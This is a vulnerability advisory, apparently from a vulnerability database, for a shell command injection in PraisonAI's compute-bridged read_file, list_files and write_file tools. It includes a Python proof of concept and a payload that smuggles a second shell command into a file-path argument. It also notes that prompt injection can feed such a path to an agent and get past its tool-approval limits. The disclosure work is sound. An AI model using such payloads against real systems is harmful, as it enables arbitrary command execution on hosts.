VDB
EN
HIGH 8.8

GHSA-w6h2-fr4q-xvxv

PraisonAI: Compute-bridged file tools allow shell command injection

상세

# Compute-bridged file tools allow shell command injection

## Summary

`LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.

An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With `compute="local"`, commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.

## Affected Product

- Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/integrations/managed_local.py` - Confirmed affected: - `v4.6.10` - `v4.6.56` - `v4.6.57` - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Confirmed not affected: - `v4.6.9` - `v4.6.1` - `v4.5.149` - Suggested affected range: `>= 4.6.10, <= 4.6.57`

## Root Cause

Current `managed_local.py` defines the bridged tool set:

```python compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"} ```

For file tools, `_bridge_file_tool()` constructs shell command strings:

```python command = f'cat "{filepath}"' command = f'ls -la "{directory}"' command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF' ```

The local compute provider executes the string with `asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it with `["sh", "-c", command]`.

The bridge keeps the low-risk `read_file` / `list_files` tool names and signatures while changing their execution primitive into shell interpretation.

## Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.

The normal `read_file` and `list_files` implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks `execute_command` as `critical`, while `read_file` and `list_files` are not dangerous-tool entries.

## Impact

An application that exposes a PraisonAI agent using `LocalManagedAgent` or `SandboxedAgent` with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to `read_file` or `list_files`.

This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting `execute_command`.

## Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.

Minimal inline reproducer:

```python import os from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path. normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload) bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')

print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list) ```

Command:

```bash python3 \ submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \ --repo artifacts/repos/praisonai-current ```

Current-head result:

```json { "describe": "v4.6.57-4-g2f9677ab", "vulnerable": true, "normal_controls": { "read_file_payload_contains_canary": false, "list_files_payload_contains_canary": false }, "bridged_results": { "read_file_payload_contains_canary": true, "list_files_payload_contains_canary": true }, "approval_registry": { "execute_command_risk": "critical", "read_file_risk": null, "list_files_risk": null } } ```

The payload used by the PoV is:

```text missing"; printf "$PRAI_CAND_006_CANARY"; # ```

Normal `read_file` treats this as a literal missing filename. The bridged tool constructs:

```sh cat "missing"; printf "$PRAI_CAND_006_CANARY"; #" ```

and returns the canary from the compute shell.

## Suggested Fix

Do not implement file operations by constructing shell command strings from path/content arguments.

Preferred fix:

1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it. 2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools. 3. Treat `write_file` content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter. 4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks, newline, and `#` and assert no shell execution occurs. 5. Keep `execute_command` as the only bridge path that intentionally accepts a shell command string, with critical approval semantics.

A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from `compute_bridged_tools` until safe provider-native file operations exist.

## Suggested Severity

The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, `PR:N` may be appropriate.

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

PyPI / praisonai
최초 영향 버전: 4.6.10 수정 버전: 4.6.59
수정 pip install --upgrade 'praisonai>=4.6.59'

참고